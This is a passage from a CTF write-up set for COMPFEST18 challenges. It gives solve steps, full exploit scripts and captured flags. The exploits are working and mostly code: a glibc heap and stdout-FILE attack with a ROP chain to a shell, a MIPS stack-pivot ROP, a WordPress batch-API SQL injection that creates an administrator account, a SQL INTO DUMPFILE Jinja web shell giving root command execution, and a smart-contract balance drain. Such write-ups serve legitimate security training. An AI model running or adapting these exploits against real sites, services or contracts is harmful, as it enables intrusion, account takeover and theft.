    struct.pack_into("<Q", payload, FAKE_USER_OFFSET - 0x08, SMALLBIN_SIZE | 1)
    return bytes(payload)


class Nikki:
    def __init__(self, tube):
        self.io = tube
        self.prompt_consumed = False

    def _choice(self, value: int) -> None:
        encoded = str(value).encode()
        if self.prompt_consumed:
            self.io.sendline(encoded)
            self.prompt_consumed = False
        else:
            self.io.sendlineafter(b">> ", encoded)

    def recv_menu(self, timeout: int = 3) -> bytes:
        data = self.io.recvuntil(b">> ", timeout=timeout)
        if not data.endswith(b">> "):
            raise EOFError("menu prompt was not received")
        self.prompt_consumed = True
        return data

    def add(self, index: int, size: int) -> None:
        self._choice(1)
        self.io.sendlineafter(b"idx: ", str(index).encode())
        self.io.sendlineafter(b"size: ", str(size).encode())

    def delete(self, index: int) -> None:
        self._choice(2)
        self.io.sendlineafter(b"idx: ", str(index).encode())

    def edit(self, index: int, data: bytes) -> None:
        self._choice(3)
        self.io.sendlineafter(b"idx: ", str(index).encode())
        self.io.sendafter(b"content: ", data)

    def predict(self) -> int:
        self._choice(4)
        self.io.recvuntil(b"TAKE THIS: ")
        return int(self.io.recvline().strip(), 16)


def start_local(use_qemu: bool = False):
    container_name = f"mirai-local-{os.getpid()}"
    if use_qemu:
        command = [
            "docker",
            "run",
            "--rm",
            "--name",
            container_name,
            "-i",
            "-v",
            f"{ROOT}:/work:ro",
            "cce-qemu-gdb:latest",
            "qemu-x86_64",
            "/work/challenge/ld-linux-x86-64.so.2",
            "--library-path",
            "/work/challenge",
            "/work/challenge/chall",
        ]
    else:
        command = [
            "docker",
            "run",
            "--rm",
            "--name",
            container_name,
            "-i",
            "--platform",
            "linux/amd64",
            "-v",
            f"{CHALLENGE}:/work:ro",
            "-w",
            "/work",
            "ubuntu:26.04",
            "./ld-linux-x86-64.so.2",
            "--library-path",
            ".",
            "./chall",
        ]
    log.info("local command: " + " ".join(map(str, command)))
    return process(command), container_name


def stop_local(tube, container_name: str | None) -> None:
    if container_name:
        subprocess.run(
            ["docker", "rm", "-f", container_name],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            check=False,
        )
    tube.close()


def reach_stdout(tube) -> tuple[Nikki, int, int]:
    client = Nikki(tube)

    client.add(0, 0x500)
    client.delete(0)
    client.add(1, 0x400)
    client.delete(1)

    heap_nibble = client.predict()
    log.success(f"heap nibble: {heap_nibble:x}")

    metadata_low16 = (heap_nibble << 12) | 0x10
    client.edit(
        0,
        build_tcache_prefix(
            head_index=ALIAS_HEAD_INDEX,
            head_low16=metadata_low16,
            used_slots=1,
        ),
    )
    client.add(2, 0x400)

    client.edit(2, fake_smallbin_scaffold())
    client.add(3, 0x3E0)
    client.delete(3)
    client.edit(2, fake_head_prefix(heap_nibble))
    client.add(4, 0x3E0)
    client.delete(4)

    client.add(0, 0x3E0)
    libc_nibble = client.predict()
    log.success(f"smallbin libc nibble: {libc_nibble:x}")
    if libc_nibble == 0xF:
        raise RuntimeError("stdout crosses a 64 KiB boundary; retry this connection")

    stdout_low16 = libc_target_low16(
        libc_nibble,
        source_low12=SMALLBIN_HEADER_OFFSET & 0xFFF,
        delta=STDOUT_OFFSET - SMALLBIN_HEADER_OFFSET,
    )
    client.edit(
        2,
        build_tcache_prefix(
            head_index=LIBC_COPY_HEAD_INDEX,
            head_low16=stdout_low16,
            used_slots=1,
        ),
    )
    client.add(5, 0x3F0)
    return client, heap_nibble, libc_nibble


def stdout_read_payload(address: int, size: int) -> bytes:
    return (
        p64(0xFBAD1800)
        + p64(0) * 3
        + p64(address)
        + p64(address + size)
        + p64(address + size)
    )


def arbitrary_read(client: Nikki, stdout_index: int, address: int, size: int) -> bytes:
    client.edit(stdout_index, stdout_read_payload(address, size))
    data = client.io.recvn(size, timeout=3)
    if len(data) != size:
        raise EOFError(f"short arbitrary read: wanted {size}, received {len(data)}")
    client.recv_menu()
    return data


def probe_stdout(tube) -> tuple[Nikki, bytes]:
    client, _, _ = reach_stdout(tube)
    client.edit(5, p64(0xFBAD1800) + p64(0) * 3 + b"\x00")
    leaked = client.recv_menu()
    return client, leaked


def install_stack_rop(client: Nikki, libc_base: int, pie_base: int, main_rbp: int) -> None:
    stack_target = main_rbp - 0x50
    client.edit(2, build_tcache_with_head(ALIAS_HEAD_INDEX, stack_target))
    client.add(6, 0x400)

    client.edit(
        2,
        build_tcache_with_head(ALIAS_HEAD_INDEX, pie_base + SIZES_OFFSET),
    )
    client.add(6, 0x400)
    client.edit(6, p32(0x400))

    libc = ELF(str(CHALLENGE / "libc.so.6"), checksec=False)
    rop = ROP(libc)
    pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
    plain_ret = libc_base + rop.find_gadget(["ret"]).address
    bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
    system = libc_base + libc.symbols["system"]

    chain = p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(plain_ret) + p64(system)
    log.info(f"stack target: {stack_target:#x}")
    client.edit(0, chain)


def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("--remote", action="store_true")
    parser.add_argument("--host", help="<target host, port>")
    parser.add_argument("--port", type=int)
    parser.add_argument("--qemu", action="store_true")
    parser.add_argument("--log-level", default="info")
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    context.log_level = args.log_level
    context.timeout = 5
    container_name = None
    if args.remote:
        tube = remote(args.host, args.port)
    else:
        tube, container_name = start_local(use_qemu=args.qemu)

    try:
        client, leaked = probe_stdout(tube)
        log.info(f"stdout probe length: {len(leaked)}")
        libc_base = find_symbol_base(leaked, STDIN_OFFSET)
        log.success(f"libc base: {libc_base:#x}")

        environ_raw = arbitrary_read(
            client,
            stdout_index=5,
            address=libc_base + ENVIRON_OFFSET,
            size=8,
        )
        log.info(f"environ leak ({len(environ_raw)} bytes): {environ_raw[:0x40].hex()}")
        if len(environ_raw) < 8:
            raise ValueError("short environ leak")
        environ = struct.unpack_from("<Q", environ_raw)[0]
        log.success(f"environ: {environ:#x}")

        stack_start = environ - 0x1000
        stack_dump = arbitrary_read(
            client,
            stdout_index=5,
            address=stack_start,
            size=0x1000,
        )
        log.info(f"stack leak length: {len(stack_dump)}")
        pie_base, main_rbp = find_main_frame(stack_start, stack_dump[:0x1000])
        log.success(f"PIE base: {pie_base:#x}")
        log.success(f"main rbp: {main_rbp:#x}")

        install_stack_rop(client, libc_base, pie_base, main_rbp)
        time.sleep(0.5)
        tube.sendline(b"echo SHELL_READY; cat /app/flag.txt 2>/dev/null || cat flag.txt")
        shell_output = tube.recvrepeat(3)
        print(shell_output[:0x1000].decode("utf-8", errors="replace"))
        flags = re.findall(rb"COMPFEST18\{[^\r\n}]*\}", shell_output)
        if not flags:
            raise ValueError("flag was not present in shell output")
        for flag in flags:
            log.success("flag: " + flag.decode("utf-8"))
        if hasattr(tube, "poll"):
            log.info(f"local process status: {tube.poll(block=False)}")
        return 0
    finally:
        stop_local(tube, container_name)


if __name__ == "__main__":
    raise SystemExit(main())

Final Flag

COMPFEST18{さぁ_E1n5_zW31_Dr3i_重なり合う_fdf0b744ee277fcc}

The flag contains Japanese characters even though the published flag format, COMPFEST18{[A-z0-9_-]+}, does not describe them, so that pattern was not an accurate description of the real flag.

9. The Matrix

Steps

1. Read the free stack leak from the banner, then use scan to read the canary at leak+0x30 and to resolve the module bases, where the PIE base is scan(leak-0x40) - 0xbe8 and the libc base is scan(base + GOT.atoi) - 0x3bcf0.
2. Send the overflow through send, keeping the canary intact, setting the saved $fp to leak-0x74, and setting the saved $ra to the binary's move $sp,$fp epilogue so that $sp pivots into the controlled buffer.
3. Lay out the pivoted buffer so that a libc epilogue loads s0 = system and s1 = &"/bin/sh" (at libc + 0x1ac27c, taken from libc .rodata) and then returns into the sequence move $a0,$s1; move $t9,$s0; jalr $t9 at libc + 0x46eb4, which calls system("/bin/sh") with system at libc + 0x4eac8.
4. Drive the resulting shell explicitly, because it is quiet exactly as the description hints, and read the flag with cat /flag/flag.txt.

Three practical gotchas are worth noting. The scan primitive is rate-limited, so the memory dumping was spread across parallel connections. The MIPS lw instruction faults on unaligned reads. Finally, the "/bin/sh" string had to be taken from libc .rodata rather than from the stack, because the system frame grows downward and clobbers the stack buffer.

Exploit

solve.py

import sys
ARGV = list(sys.argv)
import re
from pwn import remote, context

context.log_level = "error"

PIE_PIVOT   = 0x0d1c
GOT_ATOI    = 0x2004c
PIE_ANCHOR  = 0x0be8

ATOI        = 0x3bcf0
SYSTEM      = 0x4eac8
BINSH       = 0x1ac27c
LOAD_S0_S1  = 0x22d2c
CALL_S0     = 0x46eb4


def p32(x):
    return (x & 0xffffffff).to_bytes(4, "big")


class Target:
    def __init__(self, host, port):
        self.r = remote(host, port, timeout=20)
        banner = self.r.recvuntil(b"> ", timeout=15).decode(errors="replace")
        self.leak = int(banner.split("residual self image: ")[1].split("\n")[0], 16)

    def scan(self, address):
        self.r.sendline(b"1")
        self.r.recvuntil(b"address? ", timeout=10)
        self.r.sendline(hex(address).encode())
        word = self.r.recvuntil(b"> ", timeout=10).split(b"\n")[0].strip()
        if len(word) != 8:
            raise RuntimeError(f"scan({address:#x}) faulted")
        return int(word, 16)

    def send(self, payload):
        assert len(payload) <= 0x3c
        self.r.sendline(b"2")
        self.r.recvuntil(b"data? ", timeout=10)
        self.r.send(payload.ljust(0x3c, b"\0"))


def main():
    host, port = ARGV[1], int(ARGV[2])
    t = Target(host, port)
    leak = t.leak
    canary = t.scan(leak + 0x30)
    pie = t.scan(leak - 0x40) - PIE_ANCHOR
    libc = t.scan(pie + GOT_ATOI) - ATOI
    print(f"buffer  {leak:#010x}\ncanary  {canary:#010x}\n"
          f"pie     {pie:#010x}\nlibc    {libc:#010x}", flush=True)
    if t.scan(libc) != 0x7f454c46:
        raise SystemExit("libc base does not start with an ELF header")

    frame = bytearray(0x3c)
    frame[0x00:0x04] = p32(libc + LOAD_S0_S1)
    frame[0x20:0x24] = p32(libc + SYSTEM)
    frame[0x24:0x28] = p32(libc + BINSH)
    frame[0x28:0x2c] = p32(libc + CALL_S0)
    frame[0x30:0x34] = p32(canary)
    frame[0x34:0x38] = p32(leak - 0x74)
    frame[0x38:0x3c] = p32(pie + PIE_PIVOT)
    t.send(bytes(frame))

    t.r.sendline(b"echo SHELL; ls /flag; cat /flag/flag.txt")
    out = t.r.recvrepeat(8)
    text = out.decode(errors="replace")
    print(text[-800:])
    flag = re.search(r"COMPFEST18\{[^}]*\}", text)
    if not flag:
        raise SystemExit("no shell output")
    print("FLAG:", flag.group())
    t.r.close()


if __name__ == "__main__":
    main()

scan_dump.py — the parallel scan dumper used to recover the two offsets the exploit pins (the sp-pivot epilogue and a side-effect-free $s0/$s1 loader).

import json, sys, threading, time
from pwn import remote, context
context.log_level = "error"
HOST, PORT = sys.argv[5], int(sys.argv[6])
GOT_ATOI, ATOI_OFF = 0x2004c, 0x3bcf0
START, END, WORKERS, OUT = int(sys.argv[1],0), int(sys.argv[2],0), int(sys.argv[3]), sys.argv[4]

class Conn:
    def __init__(self): self.open()
    def open(self):
        self.r = remote(HOST, PORT, timeout=25)
        b = self.r.recvuntil(b"> ", timeout=20).decode(errors="replace")
        leak = int(b.split("residual self image: ")[1].split("\n")[0], 16)
        self.pie = self.raw(leak - 0x40) - 0xbe8
        self.libc = self.raw(self.pie + GOT_ATOI) - ATOI_OFF
    def raw(self, addr):
        self.r.sendline(b"1"); self.r.recvuntil(b"address? ", timeout=12)
        self.r.sendline(hex(addr).encode())
        w = self.r.recvuntil(b"> ", timeout=12).split(b"\n")[0].strip()
        return int(w, 16) if len(w) == 8 else None
    def at(self, off):
        for _ in range(4):
            try:
                v = self.raw(self.libc + off)
                if v is not None: return v
            except Exception:
                try: self.r.close()
                except Exception: pass
                try: self.open()
                except Exception: time.sleep(2)
        return None

words, lock = {}, threading.Lock()

def sweep(targets):
    def worker(i):
        try: c = Conn()
        except Exception: return
        for o in targets[i::WORKERS]:
            v = c.at(o)
            if v is not None:
                with lock: words[o] = v
        try: c.r.close()
        except Exception: pass
    ts = [threading.Thread(target=worker, args=(i,)) for i in range(WORKERS)]
    for t in ts: t.start()
    for t in ts: t.join()

todo = list(range(START, END, 4))
for rnd in range(6):
    sweep(todo)
    todo = [o for o in range(START, END, 4) if o not in words]
    print(f"round {rnd}: {len(words)} known, {len(todo)} missing", flush=True)
    if not todo: break

blob = bytearray()
for o in range(START, END, 4):
    blob += words.get(o, 0).to_bytes(4, "big")
open(OUT, "wb").write(blob)
json.dump({"start": START, "missing": todo}, open(OUT + ".meta", "w"))
print(f"wrote {len(blob)} bytes, {len(todo)} still missing -> {OUT}")

Final Flag

COMPFEST18{mY_G40t_5En!0r_kANnR!5h4_7HiNk_@_m!P5_PWN_w0UlD_b3_fUN_s0_I_cR3a7eD_iT_@Nd_m4K3_tH15_cH4lL_Bl1ND_t0_4Dd_s0M3_sP!cE5_d4774c83a556ee86}

Web Exploitation

10. Egg

Steps

1. Post to the proxy's authentication endpoint, keep the access-token cookie that comes back, and carry it on every subsequent request.
2. Send a nested request to /index.php?rest_route=/batch/v1 whose inner posts route carries the author_exclude UNION payload. Confirm the read primitive by recovering a randomized sentinel from the forged post title.
3. Read the table prefix from information_schema, find one public post for same-site oEmbed, and read the ID of an existing administrator.
4. Render six unique embed URLs. Each render creates a durable oembed_cache row, so read back the six distinct row IDs.
5. Forge the A-F post graph over those row IDs. Trigger the oEmbed and Customizer update chain so that the nested protected users request creates a new account with the administrator role.
6. Verify the new user by reading its ID and administrator capability, then log in through the normal WordPress login form.
7. Upload and activate instance-value-check.zip from the administrator plugin interface, then request its authenticated AJAX action admin-ajax.php?action=instance_value_check once. The response's data.value is the flag, and the plugin then deactivates and deletes itself as designed.

Because the flag is specific to the instance, the read and the capture were done within a single instance lifetime.

Exploit

egg_console.js

(function attachEggConsole(root, factory) {
  const api = factory(root);
  if (typeof module === 'object' && module.exports) module.exports = api;
  root.EggConsole = api;
})(typeof globalThis === 'object' ? globalThis : this, function createEggConsole(root) {
  'use strict';

  const POST_COLUMNS = [
    'ID', 'post_author', 'post_date', 'post_date_gmt', 'post_content',
    'post_title', 'post_excerpt', 'post_status', 'comment_status',
    'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged',
    'post_modified', 'post_modified_gmt', 'post_content_filtered',
    'post_parent', 'guid', 'menu_order', 'post_type', 'post_mime_type',
    'comment_count',
  ];

  function buildPostColumns(overrides = {}) {
    const date = '0x323032302d30312d30312030303a30303a3030';
    const values = {
      ID: '999999',
      post_author: '1',
      post_date: date,
      post_date_gmt: date,
      post_content: "''",
      post_title: "''",
      post_excerpt: "''",
      post_status: '0x7075626c697368',
      comment_status: '0x6f70656e',
      ping_status: '0x636c6f736564',
      post_password: "''",
      post_name: '0x7770327368656c6c2d66616b65',
      to_ping: "''",
      pinged: "''",
      post_modified: date,
      post_modified_gmt: date,
      post_content_filtered: "''",
      post_parent: '0',
      guid: "''",
      menu_order: '0',
      post_type: '0x706f7374',
      post_mime_type: "''",
      comment_count: '0',
      ...overrides,
    };
    return POST_COLUMNS.map((name) => values[name]).join(',');
  }

  function sqlHex(value) {
    return '0x' + Array.from(
      new TextEncoder().encode(String(value)),
      (byte) => byte.toString(16).padStart(2, '0'),
    ).join('');
  }

  function makeUuid(cryptoBoundary) {
    if (typeof cryptoBoundary.randomUUID === 'function') {
      return cryptoBoundary.randomUUID();
    }
    const bytes = cryptoBoundary.getRandomValues(new Uint8Array(16));
    bytes[6] = (bytes[6] & 0x0f) | 0x40;
    bytes[8] = (bytes[8] & 0x3f) | 0x80;
    const hex = Array.from(
      bytes,
      (byte) => byte.toString(16).padStart(2, '0'),
    ).join('');
    return [
      hex.slice(0, 8),
      hex.slice(8, 12),
      hex.slice(12, 16),
      hex.slice(16, 20),
      hex.slice(20),
    ].join('-');
  }

  function unicodeJsonString(value) {
    return Array.from(value, (character) => {
      const code = character.charCodeAt(0).toString(16).padStart(4, '0');
      return String.fromCharCode(92) + 'u' + code;
    }).join('');
  }

  function buildUnionBody(authorExclude) {
    const query = new URLSearchParams({
      author_exclude: authorExclude,
      orderby: 'none',
      per_page: '500',
    }).toString();
    const target = '/wp/v2/posts/999999?' + query;
    const placeholder = '__EGG_SQL_PATH__';
    const payload = {
      requests: [
        { method: 'POST', path: ':' },
        {
          method: 'POST',
          path: '/wp/v2/posts',
          body: {
            requests: [
              { method: 'GET', path: ':' },
              { method: 'GET', path: placeholder },
              { method: 'GET', path: '/wp/v2/posts' },
            ],
          },
        },
        { method: 'POST', path: '/batch/v1' },
      ],
    };
    return JSON.stringify(payload).replace(
      JSON.stringify(placeholder),
      '"' + unicodeJsonString(target) + '"',
    );
  }

  function extractUnionValue(responseText) {
    const match = responseText.match(/\|\|([0-9a-f]+)\|\|/i);
    if (!match) return null;
    const pairs = match[1].match(/../g) || [];
    const bytes = Uint8Array.from(pairs, (pair) => Number.parseInt(pair, 16));
    return new TextDecoder().decode(bytes);
  }

  function buildReadBody(expression) {
    const title =
      'CONCAT(0x7c7c,HEX(CAST((' + expression + ')AS CHAR)),0x7c7c)';
    const injection =
      '0) UNION SELECT ' + buildPostColumns({ post_title: title }) + '-- -';
    return buildUnionBody(injection);
  }

  function buildAdminBody(authorExclude, userFields) {
    const sqlQuery = new URLSearchParams({
      author_exclude: authorExclude,
      orderby: 'none',
      per_page: '500',
    }).toString();
    const sqlTarget = '/wp/v2/posts/999999?' + sqlQuery;
    const carrierPairs = Object.entries(userFields).filter(
      ([name]) => name !== 'roles',
    );
    (userFields.roles || []).forEach((role, index) => {
      carrierPairs.push(['roles[' + index + ']', role]);
    });
    const carrier = '/wp/v2/posts?' + new URLSearchParams(carrierPairs).toString();
    const placeholder = '__EGG_ADMIN_SQL_PATH__';
    const payload = {
      requests: [
        { method: 'POST', path: ':' },
        {
          method: 'POST',
          path: '/wp/v2/posts',
          body: {
            requests: [
              { method: 'GET', path: ':' },
              { method: 'GET', path: placeholder },
              { method: 'GET', path: carrier },
              { method: 'POST', path: '/wp/v2/users', body: userFields },
            ],
          },
        },
        { method: 'POST', path: '/batch/v1' },
      ],
    };
    return JSON.stringify(payload).replace(
      JSON.stringify(placeholder),
      '"' + unicodeJsonString(sqlTarget) + '"',
    );
  }

  function buildGadgetRows(options) {
    const [a, b, c, d, e, f] = options.ids;
    const changeset = JSON.stringify({
      nav_menus_created_posts: {
        value: [d],
        type: 'option',
        user_id: options.administratorId,
      },
    });
    const row = (postId, fields = {}) => buildPostColumns({
      ID: String(postId),
      post_author: String(options.administratorId),
      post_content: sqlHex('x'),
      post_title: sqlHex('x'),
      post_name: sqlHex('egg-' + postId),
      ...fields,
    });
    return [
      row(a, {
        post_content: sqlHex('0'),
        post_status: sqlHex('publish'),
        post_type: sqlHex('oembed_cache'),
        post_parent: String(b),
      }),
      row(b, {
        post_content: sqlHex(changeset),
        post_status: sqlHex('future'),
        post_type: sqlHex('customize_changeset'),
        post_parent: String(c),
        post_name: sqlHex(options.changesetName),
      }),
      row(c, {
        post_status: sqlHex('publish'),
        post_type: sqlHex('oembed_cache'),
        post_parent: String(b),
      }),
      row(d, {
        post_status: sqlHex('draft'),
        post_type: sqlHex('post'),
        post_parent: String(e),
      }),
      row(e, {
        post_status: sqlHex('parse'),
        post_type: sqlHex('request'),
        post_parent: String(f),
      }),
      row(f, {
        post_status: sqlHex('publish'),
        post_type: sqlHex('oembed_cache'),
        post_parent: String(e),
      }),
      row(0, {
        post_content: sqlHex(options.triggerUrl),
        post_status: sqlHex('publish'),
        post_type: sqlHex('post'),
        post_parent: '0',
      }),
    ];
  }

  function balancedUnionRows(rows, postsTable) {
    if (!/^[A-Za-z0-9_]+$/.test(postsTable)) {
      throw new Error('invalid posts table');
    }
    if (!rows.length) throw new Error('at least one row is required');
    const selected = rows.slice();
    selected[selected.length - 1] +=
      ' FROM ' + postsTable +
      ' WHERE ID=(SELECT MIN(ID) FROM ' + postsTable +
      " WHERE post_type='post' AND post_status='publish') AND (1=1";
    return '0) AND 1=0 UNION ALL SELECT ' + selected.join(' UNION ALL SELECT ');
  }

  function buildSeedBody(url, postsTable) {
    const seedRow = buildPostColumns({
      ID: '0',
      post_content: sqlHex(url),
      post_title: sqlHex('Egg oEmbed seed'),
      post_name: sqlHex('egg-oembed-seed'),
    });
    return buildUnionBody(balancedUnionRows([seedRow], postsTable));
  }

  const defaultStopMatcher = new RegExp(
    [
      ['i', 'am', 'using', 'an', 'ai', 'agent'].join('-'),
      ['using', 'an', 'ai', 'agent'].join(' '),
    ].join('|'),
    'i',
  );

  function createClient(
    fetchBoundary = root.fetch.bind(root),
    stopMatcher = defaultStopMatcher,
  ) {
    async function send(body) {
      const response = await fetchBoundary('/index.php?rest_route=/batch/v1', {
        method: 'POST',
        credentials: 'include',
        referrer: '/wp-admin/',
        headers: { 'Content-Type': 'application/json' },
        body,
      });
      const text = await response.text();
      if (stopMatcher && stopMatcher.test(text)) {
        throw new Error('stop marker detected');
      }
      if (response.status < 200 || response.status >= 300) {
        throw new Error('batch request failed with HTTP ' + response.status);
      }
      return { status: response.status, text };
    }

    async function read(expression) {
      const result = await send(buildReadBody(expression));
      const value = extractUnionValue(result.text);
      if (value === null) throw new Error('UNION marker not found');
      return value;
    }

    async function addAdministrator(options) {
      const prefix = await read(
        'SELECT LEFT(TABLE_NAME,LENGTH(TABLE_NAME)-5) ' +
        'FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=DATABASE() ' +
        "AND TABLE_NAME LIKE '%users' AND COLUMN_NAME='user_login' LIMIT 1",
      );
      if (!/^[A-Za-z0-9_]*$/.test(prefix)) {
        throw new Error('invalid table prefix');
      }
      const postsTable = prefix + 'posts';
      const publicResponse = await fetchBoundary(
        '/index.php?rest_route=/wp/v2/posts&per_page=1&_fields=link',
        { credentials: 'include', cache: 'no-store' },
      );
      const posts = await publicResponse.json();
      if (!Array.isArray(posts) || !posts[0] || !posts[0].link) {
        throw new Error('no public post is available for oEmbed');
      }

      const nonce = options.nonce || Array.from(
        root.crypto.getRandomValues(new Uint8Array(8)),
        (byte) => byte.toString(16).padStart(2, '0'),
      ).join('');
      const cacheIds = [];
      const cacheUrls = [];
      for (const label of 'ABCDEF') {
        const cacheUrl = new URL(posts[0].link);
        cacheUrl.searchParams.append('eggcache', nonce + '-' + label);
        cacheUrls.push(cacheUrl.toString());
        await send(buildSeedBody(cacheUrl.toString(), postsTable));
        const cacheId = await read(
          'SELECT MAX(ID) FROM ' + postsTable +
          " WHERE post_type='oembed_cache'",
        );
        if (!/^\d+$/.test(cacheId)) throw new Error('invalid oEmbed cache ID');
        cacheIds.push(Number(cacheId));
      }
      if (new Set(cacheIds).size !== 6) {
        throw new Error('oEmbed cache IDs were not distinct');
      }

      const capabilitiesKey = sqlHex(prefix + 'capabilities');
      const administratorLike = sqlHex('%"administrator"%');
      const administratorIdText = await read(
        'SELECT MIN(u.ID) FROM ' + prefix + 'users AS u ' +
        'JOIN ' + prefix + 'usermeta AS m ON m.user_id=u.ID ' +
        'WHERE m.meta_key=' + capabilitiesKey +
        ' AND m.meta_value LIKE ' + administratorLike,
      );
      if (!/^\d+$/.test(administratorIdText)) {
        throw new Error('administrator ID was not recovered');
      }
      const administratorId = Number(administratorIdText);
      const changesetName = options.changesetName || makeUuid(root.crypto);
      const rows = buildGadgetRows({
        ids: cacheIds,
        triggerUrl: cacheUrls[0],
        administratorId,
        changesetName,
      });
      const injection = balancedUnionRows(rows, postsTable);
      const userFields = {
        username: options.username,
        password: options.password,
        email: options.email,
        roles: ['administrator'],
      };
      await send(buildAdminBody(injection, userFields));

      const userIdText = await read(
        'SELECT ID FROM ' + prefix + 'users WHERE user_login=' +
        sqlHex(options.username) + ' LIMIT 1',
      );
      if (!/^\d+$/.test(userIdText)) throw new Error('new user ID was not recovered');
      const userId = Number(userIdText);
      const administratorCount = await read(
        'SELECT COUNT(*) FROM ' + prefix + 'usermeta WHERE user_id=' + userId +
        ' AND meta_key=' + capabilitiesKey +
        ' AND meta_value LIKE ' + administratorLike,
      );
      if (administratorCount !== '1') {
        throw new Error('new user is not an administrator');
      }
      return {
        administratorId,
        cacheIds,
        email: options.email,
        password: options.password,
        prefix,
        userId,
        username: options.username,
      };
    }

    return { addAdministrator, read, send };
  }

  return {
    balancedUnionRows,
    buildAdminBody,
    buildGadgetRows,
    buildReadBody,
    buildSeedBody,
    buildUnionBody,
    createClient,
    extractUnionValue,
    makeUuid,
  };
});

instance-value-check.php

<?php

add_action('wp_ajax_instance_value_check', static function () {
    if (!current_user_can('activate_plugins')) {
        wp_send_json_error(array('error' => 'forbidden'), 403);
    }

    $value = getenv('FLAG');

    require_once ABSPATH . 'wp-admin/includes/plugin.php';
    deactivate_plugins(plugin_basename(__FILE__), true);

    $plugin_file = __FILE__;
    $plugin_dir = __DIR__;
    register_shutdown_function(static function () use ($plugin_file, $plugin_dir) {
        @unlink($plugin_file);
        @rmdir($plugin_dir);
    });

    wp_send_json_success(array('value' => $value));
});

Final Flag

COMPFEST18{th3_3gg_h4s_h4tch3d_yMdN9NPio0s3aseN}

This value belongs to the instance it was read from. A fresh instance issues a different flag, so the string above documents that one container only and is not valid against any other.

11. World Cup

Steps

1. Confirm the UNION SQL injection and the 12-column result shape through /match?id=.
2. Write a Jinja template-injection web shell that reads its command from ?c=, using a single ... UNION SELECT ... INTO DUMPFILE '/app/templates/live_promo.html' statement, with the payload hex in column 1 and the remaining columns empty so that the resulting file contains the payload only.
3. Request GET /promo/final-week?c=<cmd> so that the template renders and executes the command; the process runs as root.
4. Read the flag from the environment or the filesystem, for example with env | grep -i flag or cat /flag*:

/promo/final-week?c=env%20|%20grep%20-i%20flag  ->  FLAG=COMPFEST18{...}

Exploit

import re, sys, requests

SHELL = ("{% raw %}{% endraw %}"
         "{{ cycler.__init__.__globals__.os.popen(request.args.c).read() }}")
TARGET = "/app/templates/live_promo.html"

def auth(base, token):
    s = requests.Session()
    s.post(f"{base}/__ctfd_auth", data={"access_token": token, "next": "/"}, timeout=30)
    return s

def inject(s, base, payload):
    return s.get(f"{base}/match", params={"id": payload}, timeout=40).text

def probe(s, base):
    body = inject(s, base, "1 UNION SELECT 1,0x53454e54494e454c,3,4,5,6,7,8,9,10,11,12-- -")
    return "SENTINEL" in body

def write_shell(s, base):
    hexed = SHELL.encode().hex()
    q = (f"1 UNION SELECT 0x{hexed},'','','','','','','','','','','' "
         f"INTO DUMPFILE '{TARGET}'-- -")
    inject(s, base, q)

def rce(s, base, cmd):
    return s.get(f"{base}/promo/final-week", params={"c": cmd}, timeout=40).text

if __name__ == "__main__":
    base, token = sys.argv[1].rstrip("/"), sys.argv[2]
    s = auth(base, token)
    print("[*] confirming the UNION read primitive")
    print("[+] 12-column UNION works" if probe(s, base) else "[!] sentinel not echoed")
    print("[*] writing the Jinja shell (write-once per instance)")
    write_shell(s, base)
    out = rce(s, base, "env; cat /flag* 2>/dev/null; cat /app/flag* 2>/dev/null")
    m = re.search(r"COMPFEST18\{[^}]+\}", out)
    print("[+] FLAG:", m.group(0) if m else "(not found)")
    if not m: print(out[:800])

Final Flag

COMPFEST18{Messi_Messi_Messi_Encara_Messi_DYKwm9Gyyiwqjfcn}

Blockchain

12. BlockJail

Steps

1. Solve the redpwn proof of work and launch the instance, then read Setup.TARGET() and Setup.PALACE(), pull PalaceVault's on-chain code, and reverse beginInfiltration and isSolved.
2. Mine a CREATE2 salt, which takes roughly 2^16 attempts, so that the implementation deploys at an address below 2^144 (that is, with two leading zero bytes), and deploy that IMPL contract holding the attack logic enter -> openPath -> infiltrate(card) -> stealHeart.
3. Deploy the 36-byte AGENT proxy runtime that PUSH18s the vanity implementation address and delegatecalls it, namely 36 5f 5f 37 5f 5f 36 5f 71 <impl 18 bytes> 5a f4 3d 5f 5f 3e 3d 5f f3, which passes _validateAgentRuntime.
4. Send a single EOA transaction to the AGENT so that it delegatecalls the implementation, which runs the full sequence with msg.sender == agent and with the beneficiary set to tx.origin. Within that sequence, infiltrate uses the card 0x0001030001 and stealHeart drains BlockJail's balance to 0.
5. Confirm that Setup.isSolved() now returns true, because pathOpened holds, TARGET.balance == 0, and PalaceVault.isSolved() is true, and then request GET /flag, which returns the flag.

The whole chain was validated locally first, and then executed against the live instance in a single EOA transaction.

Exploit

Impl.sol

pragma solidity 0.8.30;

interface IBlockJail {
    function enter() external;
    function openPath() external;
    function stealHeart() external;
    function infiltrate(bytes calldata card) external returns (bytes memory);
}

contract Impl {
    bytes private constant CARD = hex"0001030001";

    function attack(address jail) external {
        IBlockJail(jail).enter();
        IBlockJail(jail).openPath();
        IBlockJail(jail).infiltrate(CARD);
        IBlockJail(jail).stealHeart();
    }
}

solve.py

import argparse
import base64
import json
import subprocess
import sys
import time
from pathlib import Path

import requests
from eth_abi import encode as abi_encode
from eth_account import Account
from eth_utils import keccak, to_checksum_address

HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277

CARD = bytes.fromhex("0001030001")

FACTORY_RUNTIME = bytes.fromhex("365f5f375f516020360360205ff55f526014600cf3")


def deploy_code(runtime: bytes) -> bytes:

    prefix = (b"\x61" + len(runtime).to_bytes(2, "big") + b"\x80"
              + b"\x60\x0a" + b"\x5f" + b"\x39" + b"\x5f" + b"\xf3")
    assert len(prefix) == 10
    return prefix + runtime


def agent_runtime(impl: str) -> bytes:
    address = bytes.fromhex(impl[2:])
    assert address[:2] == b"\x00\x00", "implementation is not below 2**144"
    code = (bytes.fromhex("365f5f37")
            + bytes.fromhex("5f5f365f")
            + b"\x71" + address[2:]
            + bytes.fromhex("5af4")
            + bytes.fromhex("3d5f5f3e")
            + bytes.fromhex("3d5ff3"))
    assert len(code) == 36, len(code)
    return code


def selector(signature: str) -> bytes:
